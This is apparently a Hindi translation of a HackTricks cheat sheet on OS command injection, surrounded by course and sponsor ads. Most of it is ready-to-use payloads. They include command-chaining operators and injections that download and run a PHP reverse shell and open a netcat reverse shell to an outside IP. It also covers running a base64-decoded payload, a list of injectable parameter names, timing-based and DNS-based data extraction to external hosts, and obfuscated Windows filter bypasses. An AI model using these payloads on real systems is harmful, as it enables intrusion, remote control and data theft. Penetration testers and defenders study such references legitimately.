Command Injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो आसानी से बनाएं और स्वचालित करें। आज ही पहुंचें:

क्या है कमांड इंजेक्शन?

कमांड इंजेक्शन एक हमलावर द्वारा किसी एप्लिकेशन के होस्ट सर्वर पर विचित्र ऑपरेटिंग सिस्टम कमांड का क्रियान्वयन संभावित बनाता है। इसके परिणामस्वरूप, एप्लिकेशन और उसके सभी डेटा को पूरी तरह से कम्प्रोमाइज किया जा सकता है। इन कमांड्स का क्रियान्वयन आम तौर पर हमलावर को अनधिकृत पहुंच या नियंत्रण प्राप्त करने की अनुमति देता है एप्लिकेशन के वातावरण और अंतर्निहित सिस्टम पर।

संदर्भ

जहां आपका इनपुट इंजेक्ट हो रहा है, आपको कमांड्स से पहले उद्धृत संदर्भ ( " या ' ) को समाप्त करने की आवश्यकता हो सकती है।

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

सीमा उल्लंघन

यदि आप लिनक्स मशीन के अंदर विविध कमांड्स को क्रियान्वित करने की कोशिश कर रहे हैं, तो आपको इस उल्लंघन के बारे में पढ़ने में रुचि होगी:

pageBypass Linux Restrictions

उदाहरण

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

पैरामीटर

यहाँ वह शीर्ष 25 पैरामीटर हैं जो कोड इंजेक्शन और समान RCE भयावहताओं के लिए संवेदनशील हो सकते हैं (स्रोत लिंक):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

समय आधारित डेटा निकासी

डेटा निकालना: अक्षर द्वारा

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS आधारित डेटा निकासी

इस उपकरण पर आधारित है https://github.com/HoLyVieR/dnsbin जो dnsbin.zhack.ca पर भी होस्ट किया गया है।

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

डीएनएस आधारित डेटा निकासीकरण की जांच करने के लिए ऑनलाइन उपकरण:

  • dnsbin.zhack.ca

  • pingb.in

फ़िल्टरिंग बायपास

विंडोज

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

लिनक्स

pageBypass Linux Restrictions

ब्रूट-फोर्स डिटेक्शन सूची

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित औटोमेटेड वर्कफ़्लो को आसानी से बनाएं। आज ही पहुंचें:

Last updated